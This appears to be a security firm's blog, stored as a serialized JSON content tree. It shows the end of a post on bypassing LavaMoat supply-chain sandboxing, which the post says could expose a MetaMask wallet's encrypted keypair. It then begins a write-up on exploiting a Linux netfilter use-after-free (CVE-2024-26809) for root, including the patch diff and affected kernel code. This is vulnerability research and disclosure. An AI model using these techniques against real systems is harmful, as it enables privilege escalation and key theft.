autofocus>\u003C/div>\"",{"type":23,"tag":139,"props":48126,"children":48127},{"style":259},[48128],{"type":28,"value":995},{"type":23,"tag":139,"props":48130,"children":48131},{"class":141,"line":151},[48132,48136,48140,48144,48148,48153,48157,48162],{"type":23,"tag":139,"props":48133,"children":48134},{"style":294},[48135],{"type":28,"value":30595},{"type":23,"tag":139,"props":48137,"children":48138},{"style":259},[48139],{"type":28,"value":73},{"type":23,"tag":139,"props":48141,"children":48142},{"style":245},[48143],{"type":28,"value":32886},{"type":23,"tag":139,"props":48145,"children":48146},{"style":259},[48147],{"type":28,"value":262},{"type":23,"tag":139,"props":48149,"children":48150},{"style":265},[48151],{"type":28,"value":48152},"'test'",{"type":23,"tag":139,"props":48154,"children":48155},{"style":259},[48156],{"type":28,"value":18750},{"type":23,"tag":139,"props":48158,"children":48159},{"style":245},[48160],{"type":28,"value":48161},"focus",{"type":23,"tag":139,"props":48163,"children":48164},{"style":259},[48165],{"type":28,"value":1656},{"type":23,"tag":139,"props":48167,"children":48168},{"class":141,"line":160},[48169,48173,48177,48181,48185,48189,48193,48197,48201,48205],{"type":23,"tag":139,"props":48170,"children":48171},{"style":294},[48172],{"type":28,"value":30595},{"type":23,"tag":139,"props":48174,"children":48175},{"style":259},[48176],{"type":28,"value":73},{"type":23,"tag":139,"props":48178,"children":48179},{"style":245},[48180],{"type":28,"value":48014},{"type":23,"tag":139,"props":48182,"children":48183},{"style":259},[48184],{"type":28,"value":262},{"type":23,"tag":139,"props":48186,"children":48187},{"style":265},[48188],{"type":28,"value":48023},{"type":23,"tag":139,"props":48190,"children":48191},{"style":259},[48192],{"type":28,"value":1052},{"type":23,"tag":139,"props":48194,"children":48195},{"style":279},[48196],{"type":28,"value":6179},{"type":23,"tag":139,"props":48198,"children":48199},{"style":259},[48200],{"type":28,"value":1052},{"type":23,"tag":139,"props":48202,"children":48203},{"style":265},[48204],{"type":28,"value":48040},{"type":23,"tag":139,"props":48206,"children":48207},{"style":259},[48208],{"type":28,"value":1820},{"type":23,"tag":139,"props":48210,"children":48211},{"class":141,"line":169},[48212,48216,48220,48225,48229,48233,48238,48242,48247,48252,48256,48260,48264,48268,48272,48276],{"type":23,"tag":139,"props":48213,"children":48214},{"style":294},[48215],{"type":28,"value":30595},{"type":23,"tag":139,"props":48217,"children":48218},{"style":259},[48219],{"type":28,"value":73},{"type":23,"tag":139,"props":48221,"children":48222},{"style":245},[48223],{"type":28,"value":48224},"getElementsByTagName",{"type":23,"tag":139,"props":48226,"children":48227},{"style":259},[48228],{"type":28,"value":262},{"type":23,"tag":139,"props":48230,"children":48231},{"style":265},[48232],{"type":28,"value":34620},{"type":23,"tag":139,"props":48234,"children":48235},{"style":259},[48236],{"type":28,"value":48237},")[",{"type":23,"tag":139,"props":48239,"children":48240},{"style":1016},[48241],{"type":28,"value":2021},{"type":23,"tag":139,"props":48243,"children":48244},{"style":259},[48245],{"type":28,"value":48246},"].",{"type":23,"tag":139,"props":48248,"children":48249},{"style":294},[48250],{"type":28,"value":48251},"contentWindow",{"type":23,"tag":139,"props":48253,"children":48254},{"style":259},[48255],{"type":28,"value":73},{"type":23,"tag":139,"props":48257,"children":48258},{"style":245},[48259],{"type":28,"value":30585},{"type":23,"tag":139,"props":48261,"children":48262},{"style":259},[48263],{"type":28,"value":262},{"type":23,"tag":139,"props":48265,"children":48266},{"style":294},[48267],{"type":28,"value":30595},{"type":23,"tag":139,"props":48269,"children":48270},{"style":259},[48271],{"type":28,"value":73},{"type":23,"tag":139,"props":48273,"children":48274},{"style":294},[48275],{"type":28,"value":30605},{"type":23,"tag":139,"props":48277,"children":48278},{"style":259},[48279],{"type":28,"value":1820},{"type":23,"tag":666,"props":48281,"children":48283},{"id":48282},"snowjs-patch",[48284],{"type":28,"value":48285},"SnowJS Patch",{"type":23,"tag":24,"props":48287,"children":48288},{},[48289,48291,48298,48300,48307],{"type":28,"value":48290},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":64,"props":48292,"children":48295},{"href":48293,"rel":48294},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[68],[48296],{"type":28,"value":48297},"browser feature within W3C standards",{"type":28,"value":48299},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":64,"props":48301,"children":48304},{"href":48302,"rel":48303},"https://github.com/weizman/Realms-Initialization-Control",[68],[48305],{"type":28,"value":48306},"Here",{"type":28,"value":48308}," is their new proposal.",{"type":23,"tag":41,"props":48310,"children":48312},{"id":48311},"chaining-the-impacts",[48313],{"type":28,"value":48314},"Chaining The Impacts",{"type":23,"tag":24,"props":48316,"children":48317},{},[48318],{"type":28,"value":48319},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":797,"props":48321,"children":48322},{},[48323,48328],{"type":23,"tag":801,"props":48324,"children":48325},{},[48326],{"type":28,"value":48327},"Policy File Bypass",{"type":23,"tag":801,"props":48329,"children":48330},{},[48331],{"type":28,"value":48332},"Scuttling Bypass",{"type":23,"tag":24,"props":48334,"children":48335},{},[48336],{"type":28,"value":48337},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":24,"props":48339,"children":48340},{},[48341],{"type":28,"value":48342},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":41,"props":48344,"children":48345},{"id":26955},[48346],{"type":28,"value":16955},{"type":23,"tag":24,"props":48348,"children":48349},{},[48350],{"type":28,"value":48351},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":29233,"props":48353,"children":48354},{"style":29235},[48355],{"type":23,"tag":429,"props":48356,"children":48359},{"src":48357,"alt":48358,"style":29241},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":784,"props":48361,"children":48363},{"className":48362,"dataFootnotes":7},[787],[48364,48369],{"type":23,"tag":41,"props":48365,"children":48367},{"className":48366,"id":643},[792],[48368],{"type":28,"value":795},{"type":23,"tag":797,"props":48370,"children":48371},{},[48372],{"type":23,"tag":801,"props":48373,"children":48374},{"id":803},[48375,48377,48384,48385],{"type":28,"value":48376},"Excluding SES, which was covered ",{"type":23,"tag":64,"props":48378,"children":48381},{"href":48379,"rel":48380},"https://osec.io/blog/2023-11-01-metamask-snaps",[68],[48382],{"type":28,"value":48383},"in our last article",{"type":28,"value":471},{"type":23,"tag":64,"props":48386,"children":48388},{"href":809,"ariaLabel":810,"className":48387,"dataFootnoteBackref":7},[812],[48389],{"type":28,"value":815},{"type":23,"tag":817,"props":48391,"children":48392},{},[48393],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":48395},[48396,48400,48406,48412,48413,48414],{"id":16964,"depth":151,"text":16967,"children":48397},[48398,48399],{"id":27037,"depth":160,"text":27040},{"id":45017,"depth":160,"text":45020},{"id":45773,"depth":151,"text":45776,"children":48401},[48402,48403,48404,48405],{"id":46024,"depth":160,"text":46027},{"id":46499,"depth":160,"text":46502},{"id":47156,"depth":160,"text":47159},{"id":47279,"depth":160,"text":47282},{"id":47397,"depth":151,"text":47400,"children":48407},[48408,48409,48410,48411],{"id":47525,"depth":160,"text":47528},{"id":47887,"depth":160,"text":47890},{"id":48047,"depth":160,"text":48050},{"id":48282,"depth":160,"text":48285},{"id":48311,"depth":151,"text":48314},{"id":26955,"depth":151,"text":16955},{"id":643,"depth":151,"text":795},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":48419,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48420,"description":48421,"author":48422,"image":48423,"date":48425,"isFeatured":15,"tags":48426,"onBlogPage":15,"body":48429,"_type":831,"_id":58810,"_source":833,"_file":58811,"_stem":58812,"_extension":836},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":48424,"height":7273,"width":3725},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[48427,48428],"kernal","linux",{"type":20,"children":48430,"toc":58778},[48431,48444,48458,48463,48469,48479,48484,48490,48495,48513,48527,48536,48569,48574,48580,48599,48632,48638,48651,48861,48928,49492,49511,49736,49795,49801,49821,49861,50049,50054,50205,50261,50266,50780,50799,51068,51094,51603,51670,51676,51712,51717,51983,52016,52028,52055,52067,52072,52078,52099,52105,52126,52149,52981,52987,53027,53567,53578,53612,53679,53733,53965,53971,54015,54479,54485,54496,54526,54609,54614,54619,54655,54707,54738,55293,55299,55316,55322,55327,55333,55361,55554,55574,55590,56185,56191,56226,56249,56261,56267,56295,56892,56917,57886,57897,57910,57923,58689,58703,58709,58721,58727,58755,58760,58764,58769,58774],{"type":23,"tag":24,"props":48432,"children":48433},{},[48434,48436,48443],{"type":28,"value":48435},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":64,"props":48437,"children":48440},{"href":48438,"rel":48439},"https://google.github.io/security-research/kernelctf/rules.html",[68],[48441],{"type":28,"value":48442},"KernelCTF VRP",{"type":28,"value":73},{"type":23,"tag":24,"props":48445,"children":48446},{},[48447,48449,48456],{"type":28,"value":48448},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":64,"props":48450,"children":48453},{"href":48451,"rel":48452},"https://github.com/conlonialC",[68],[48454],{"type":28,"value":48455},"lonial con",{"type":28,"value":48457},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":24,"props":48459,"children":48460},{},[48461],{"type":28,"value":48462},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":41,"props":48464,"children":48466},{"id":48465},"the-kernel",[48467],{"type":28,"value":48468},"The kernel",{"type":23,"tag":24,"props":48470,"children":48471},{},[48472,48474],{"type":28,"value":48473},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":429,"props":48475,"children":48478},{"alt":48476,"src":48477},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":24,"props":48480,"children":48481},{},[48482],{"type":28,"value":48483},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":666,"props":48485,"children":48487},{"id":48486},"kernel-exploitation",[48488],{"type":28,"value":48489},"Kernel exploitation",{"type":23,"tag":24,"props":48491,"children":48492},{},[48493],{"type":28,"value":48494},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":14699,"props":48496,"children":48497},{},[48498,48503,48508],{"type":23,"tag":801,"props":48499,"children":48500},{},[48501],{"type":28,"value":48502},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":801,"props":48504,"children":48505},{},[48506],{"type":28,"value":48507},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":801,"props":48509,"children":48510},{},[48511],{"type":28,"value":48512},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":24,"props":48514,"children":48515},{},[48516,48518,48525],{"type":28,"value":48517},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":64,"props":48519,"children":48522},{"href":48520,"rel":48521},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[68],[48523],{"type":28,"value":48524},"blog post",{"type":28,"value":48526}," to become more familiar with the topic.",{"type":23,"tag":41,"props":48528,"children":48530},{"id":48529},"nf_tables",[48531],{"type":23,"tag":135,"props":48532,"children":48534},{"className":48533},[],[48535],{"type":28,"value":48529},{"type":23,"tag":24,"props":48537,"children":48538},{},[48539,48544,48546,48552,48553,48559,48561,48567],{"type":23,"tag":135,"props":48540,"children":48542},{"className":48541},[],[48543],{"type":28,"value":48529},{"type":28,"value":48545}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":64,"props":48547,"children":48550},{"href":48548,"rel":48549},"https://pwning.tech/nftables",[68],[48551],{"type":28,"value":647},{"type":28,"value":1052},{"type":23,"tag":64,"props":48554,"children":48557},{"href":48555,"rel":48556},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[68],[48558],{"type":28,"value":1099},{"type":28,"value":48560},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":135,"props":48562,"children":48564},{"className":48563},[],[48565],{"type":28,"value":48566},"nf_table",{"type":28,"value":48568}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":24,"props":48570,"children":48571},{},[48572],{"type":28,"value":48573},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":666,"props":48575,"children":48577},{"id":48576},"transactions",[48578],{"type":28,"value":48579},"Transactions",{"type":23,"tag":24,"props":48581,"children":48582},{},[48583,48585,48590,48592,48597],{"type":28,"value":48584},"A transaction is an interaction that updates ",{"type":23,"tag":135,"props":48586,"children":48588},{"className":48587},[],[48589],{"type":28,"value":48529},{"type":28,"value":48591}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":135,"props":48593,"children":48595},{"className":48594},[],[48596],{"type":28,"value":48529},{"type":28,"value":48598}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":14699,"props":48600,"children":48601},{},[48602,48612,48622],{"type":23,"tag":801,"props":48603,"children":48604},{},[48605,48610],{"type":23,"tag":56,"props":48606,"children":48607},{},[48608],{"type":28,"value":48609},"Control plane",{"type":28,"value":48611},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":801,"props":48613,"children":48614},{},[48615,48620],{"type":23,"tag":56,"props":48616,"children":48617},{},[48618],{"type":28,"value":48619},"Commit path",{"type":28,"value":48621},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":801,"props":48623,"children":48624},{},[48625,48630],{"type":23,"tag":56,"props":48626,"children":48627},{},[48628],{"type":28,"value":48629},"Abort path",{"type":28,"value":48631},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":41,"props":48633,"children":48635},{"id":48634},"vulnerability-details",[48636],{"type":28,"value":48637},"Vulnerability details",{"type":23,"tag":24,"props":48639,"children":48640},{},[48641,48643,48649],{"type":28,"value":48642},"Moving on, let's check out the ",{"type":23,"tag":64,"props":48644,"children":48647},{"href":48645,"rel":48646},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[68],[48648],{"type":28,"value":2226},{"type":28,"value":48650}," that fixed the bug.",{"type":23,"tag":128,"props":48652,"children":48654},{"className":38251,"code":48653,"language":38253,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[48655],{"type":23,"tag":135,"props":48656,"children":48657},{"__ignoreMap":7},[48658,48666,48674,48682,48690,48698,48705,48713,48720,48728,48736,48744,48752,48760,48768,48776,48784,48792,48800,48808,48815,48823,48831,48839,48846,48853],{"type":23,"tag":139,"props":48659,"children":48660},{"class":141,"line":142},[48661],{"type":23,"tag":139,"props":48662,"children":48663},{"style":279},[48664],{"type":28,"value":48665},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":139,"props":48667,"children":48668},{"class":141,"line":151},[48669],{"type":23,"tag":139,"props":48670,"children":48671},{"style":259},[48672],{"type":28,"value":48673},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":139,"props":48675,"children":48676},{"class":141,"line":160},[48677],{"type":23,"tag":139,"props":48678,"children":48679},{"style":279},[48680],{"type":28,"value":48681},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":139,"props":48683,"children":48684},{"class":141,"line":169},[48685],{"type":23,"tag":139,"props":48686,"children":48687},{"style":279},[48688],{"type":28,"value":48689},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":139,"props":48691,"children":48692},{"class":141,"line":178},[48693],{"type":23,"tag":139,"props":48694,"children":48695},{"style":259},[48696],{"type":28,"value":48697},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":139,"props":48699,"children":48700},{"class":141,"line":187},[48701],{"type":23,"tag":139,"props":48702,"children":48703},{"emptyLinePlaceholder":15},[48704],{"type":28,"value":184},{"type":23,"tag":139,"props":48706,"children":48707},{"class":141,"line":196},[48708],{"type":23,"tag":139,"props":48709,"children":48710},{"style":259},[48711],{"type":28,"value":48712},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":139,"props":48714,"children":48715},{"class":141,"line":205},[48716],{"type":23,"tag":139,"props":48717,"children":48718},{"emptyLinePlaceholder":15},[48719],{"type":28,"value":184},{"type":23,"tag":139,"props":48721,"children":48722},{"class":141,"line":214},[48723],{"type":23,"tag":139,"props":48724,"children":48725},{"style":259},[48726],{"type":28,"value":48727},"  if (m) {\n",{"type":23,"tag":139,"props":48729,"children":48730},{"class":141,"line":1320},[48731],{"type":23,"tag":139,"props":48732,"children":48733},{"style":259},[48734],{"type":28,"value":48735},"   rcu_barrier();\n",{"type":23,"tag":139,"props":48737,"children":48738},{"class":141,"line":1329},[48739],{"type":23,"tag":139,"props":48740,"children":48741},{"style":259},[48742],{"type":28,"value":48743}," \n",{"type":23,"tag":139,"props":48745,"children":48746},{"class":141,"line":1580},[48747],{"type":23,"tag":139,"props":48748,"children":48749},{"style":265},[48750],{"type":28,"value":48751},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":139,"props":48753,"children":48754},{"class":141,"line":1597},[48755],{"type":23,"tag":139,"props":48756,"children":48757},{"style":265},[48758],{"type":28,"value":48759},"-\n",{"type":23,"tag":139,"props":48761,"children":48762},{"class":141,"line":1614},[48763],{"type":23,"tag":139,"props":48764,"children":48765},{"style":259},[48766],{"type":28,"value":48767},"   for_each_possible_cpu(cpu)\n",{"type":23,"tag":139,"props":48769,"children":48770},{"class":141,"line":1627},[48771],{"type":23,"tag":139,"props":48772,"children":48773},{"style":259},[48774],{"type":28,"value":48775},"    pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":139,"props":48777,"children":48778},{"class":141,"line":1636},[48779],{"type":23,"tag":139,"props":48780,"children":48781},{"style":259},[48782],{"type":28,"value":48783},"   free_percpu(m->scratch);\n",{"type":23,"tag":139,"props":48785,"children":48786},{"class":141,"line":1659},[48787],{"type":23,"tag":139,"props":48788,"children":48789},{"style":259},[48790],{"type":28,"value":48791},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":139,"props":48793,"children":48794},{"class":141,"line":1667},[48795],{"type":23,"tag":139,"props":48796,"children":48797},{"style":259},[48798],{"type":28,"value":48799},"  if (priv->clone) {\n",{"type":23,"tag":139,"props":48801,"children":48802},{"class":141,"line":1676},[48803],{"type":23,"tag":139,"props":48804,"children":48805},{"style":259},[48806],{"type":28,"value":48807},"   m = priv->clone;\n",{"type":23,"tag":139,"props":48809,"children":48810},{"class":141,"line":1745},[48811],{"type":23,"tag":139,"props":48812,"children":48813},{"style":259},[48814],{"type":28,"value":48743},{"type":23,"tag":139,"props":48816,"children":48817},{"class":141,"line":1753},[48818],{"type":23,"tag":139,"props":48819,"children":48820},{"style":265},[48821],{"type":28,"value":48822},"-  if (priv->dirty)\n",{"type":23,"tag":139,"props":48824,"children":48825},{"class":141,"line":1783},[48826],{"type":23,"tag":139,"props":48827,"children":48828},{"style":265},[48829],{"type":28,"value":48830},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":139,"props":48832,"children":48833},{"class":141,"line":1791},[48834],{"type":23,"tag":139,"props":48835,"children":48836},{"style":1016},[48837],{"type":28,"value":48838},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":139,"props":48840,"children":48841},{"class":141,"line":1823},[48842],{"type":23,"tag":139,"props":48843,"children":48844},{"style":259},[48845],{"type":28,"value":48743},{"type":23,"tag":139,"props":48847,"children":48848},{"class":141,"line":1831},[48849],{"type":23,"tag":139,"props":48850,"children":48851},{"style":259},[48852],{"type":28,"value":48767},{"type":23,"tag":139,"props":48854,"children":48855},{"class":141,"line":1891},[48856],{"type":23,"tag":139,"props":48857,"children":48858},{"style":259},[48859],{"type":28,"value":48860},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":24,"props":48862,"children":48863},{},[48864,48866,48872,48873,48879,48881,48887,48889,48895,48897,48902,48904,48910,48912,48918,48920,48926],{"type":28,"value":48865},"If the ",{"type":23,"tag":135,"props":48867,"children":48869},{"className":48868},[],[48870],{"type":28,"value":48871},"priv->dirty",{"type":28,"value":9002},{"type":23,"tag":135,"props":48874,"children":48876},{"className":48875},[],[48877],{"type":28,"value":48878},"priv->clone",{"type":28,"value":48880}," variables are set, ",{"type":23,"tag":135,"props":48882,"children":48884},{"className":48883},[],[48885],{"type":28,"value":48886},"nft_set_pipapo_match_destroy()",{"type":28,"value":48888}," is called twice, once with ",{"type":23,"tag":135,"props":48890,"children":48892},{"className":48891},[],[48893],{"type":28,"value":48894},"priv->match",{"type":28,"value":48896}," as an argument, and then again with ",{"type":23,"tag":135,"props":48898,"children":48900},{"className":48899},[],[48901],{"type":28,"value":48878},{"type":28,"value":48903},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":135,"props":48905,"children":48907},{"className":48906},[],[48908],{"type":28,"value":48909},"setelem",{"type":28,"value":48911},"s of the ",{"type":23,"tag":135,"props":48913,"children":48915},{"className":48914},[],[48916],{"type":28,"value":48917},"set",{"type":28,"value":48919}," and calling ",{"type":23,"tag":135,"props":48921,"children":48923},{"className":48922},[],[48924],{"type":28,"value":48925},"nf_tables_set_elem_destroy()",{"type":28,"value":48927}," for each of them.",{"type":23,"tag":128,"props":48929,"children":48931},{"className":14526,"code":48930,"language":1123,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[48932],{"type":23,"tag":135,"props":48933,"children":48934},{"__ignoreMap":7},[48935,48982,49010,49036,49043,49064,49077,49084,49181,49189,49196,49251,49272,49279,49382,49394,49401,49437,49444,49478,49485],{"type":23,"tag":139,"props":48936,"children":48937},{"class":141,"line":142},[48938,48943,48948,48953,48957,48961,48965,48970,48974,48978],{"type":23,"tag":139,"props":48939,"children":48940},{"style":279},[48941],{"type":28,"value":48942},"static",{"type":23,"tag":139,"props":48944,"children":48945},{"style":279},[48946],{"type":28,"value":48947}," void",{"type":23,"tag":139,"props":48949,"children":48950},{"style":245},[48951],{"type":28,"value":48952}," nft_set_pipapo_match_destroy",{"type":23,"tag":139,"props":48954,"children":48955},{"style":259},[48956],{"type":28,"value":262},{"type":23,"tag":139,"props":48958,"children":48959},{"style":279},[48960],{"type":28,"value":7663},{"type":23,"tag":139,"props":48962,"children":48963},{"style":279},[48964],{"type":28,"value":19159},{"type":23,"tag":139,"props":48966,"children":48967},{"style":259},[48968],{"type":28,"value":48969}," nft_ctx ",{"type":23,"tag":139,"props":48971,"children":48972},{"style":982},[48973],{"type":28,"value":2573},{"type":23,"tag":139,"props":48975,"children":48976},{"style":294},[48977],{"type":28,"value":18288},{"type":23,"tag":139,"props":48979,"children":48980},{"style":259},[48981],{"type":28,"value":1488},{"type":23,"tag":139,"props":48983,"children":48984},{"class":141,"line":151},[48985,48989,48993,48998,49002,49006],{"type":23,"tag":139,"props":48986,"children":48987},{"style":279},[48988],{"type":28,"value":29434},{"type":23,"tag":139,"props":48990,"children":48991},{"style":279},[48992],{"type":28,"value":19159},{"type":23,"tag":139,"props":48994,"children":48995},{"style":259},[48996],{"type":28,"value":48997}," nft_set ",{"type":23,"tag":139,"props":48999,"children":49000},{"style":982},[49001],{"type":28,"value":2573},{"type":23,"tag":139,"props":49003,"children":49004},{"style":294},[49005],{"type":28,"value":48917},{"type":23,"tag":139,"props":49007,"children":49008},{"style":259},[49009],{"type":28,"value":1488},{"type":23,"tag":139,"props":49011,"children":49012},{"class":141,"line":160},[49013,49018,49023,49027,49032],{"type":23,"tag":139,"props":49014,"children":49015},{"style":279},[49016],{"type":28,"value":49017},"      struct",{"type":23,"tag":139,"props":49019,"children":49020},{"style":259},[49021],{"type":28,"value":49022}," nft_pipapo_match ",{"type":23,"tag":139,"props":49024,"children":49025},{"style":982},[49026],{"type":28,"value":2573},{"type":23,"tag":139,"props":49028,"children":49029},{"style":294},[49030],{"type":28,"value":49031},"m",{"type":23,"tag":139,"props":49033,"children":49034},{"style":259},[49035],{"type":28,"value":273},{"type":23,"tag":139,"props":49037,"children":49038},{"class":141,"line":169},[49039],{"type":23,"tag":139,"props":49040,"children":49041},{"style":259},[49042],{"type":28,"value":8890},{"type":23,"tag":139,"props":49044,"children":49045},{"class":141,"line":178},[49046,49050,49055,49059],{"type":23,"tag":139,"props":49047,"children":49048},{"style":279},[49049],{"type":28,"value":19159},{"type":23,"tag":139,"props":49051,"children":49052},{"style":259},[49053],{"type":28,"value":49054}," nft_pipapo_field ",{"type":23,"tag":139,"props":49056,"children":49057},{"style":982},[49058],{"type":28,"value":2573},{"type":23,"tag":139,"props":49060,"children":49061},{"style":259},[49062],{"type":28,"value":49063},"f;\n",{"type":23,"tag":139,"props":49065,"children":49066},{"class":141,"line":187},[49067,49072],{"type":23,"tag":139,"props":49068,"children":49069},{"style":279},[49070],{"type":28,"value":49071}," int",{"type":23,"tag":139,"props":49073,"children":49074},{"style":259},[49075],{"type":28,"value":49076}," i, r;\n",{"type":23,"tag":139,"props":49078,"children":49079},{"class":141,"line":196},[49080],{"type":23,"tag":139,"props":49081,"children":49082},{"emptyLinePlaceholder":15},[49083],{"type":28,"value":184},{"type":23,"tag":139,"props":49085,"children":49086},{"class":141,"line":205},[49087,49092,49097,49101,49105,49110,49114,49119,49123,49127,49132,49136,49140,49144,49149,49154,49158,49163,49168,49173,49177],{"type":23,"tag":139,"props":49088,"children":49089},{"style":319},[49090],{"type":28,"value":49091}," for",{"type":23,"tag":139,"props":49093,"children":49094},{"style":259},[49095],{"type":28,"value":49096}," (i ",{"type":23,"tag":139,"props":49098,"children":49099},{"style":982},[49100],{"type":28,"value":1067},{"type":23,"tag":139,"props":49102,"children":49103},{"style":1016},[49104],{"type":28,"value":1019},{"type":23,"tag":139,"props":49106,"children":49107},{"style":259},[49108],{"type":28,"value":49109},", f ",{"type":23,"tag":139,"props":49111,"children":49112},{"style":982},[49113],{"type":28,"value":1067},{"type":23,"tag":139,"props":49115,"children":49116},{"style":294},[49117],{"type":28,"value":49118}," 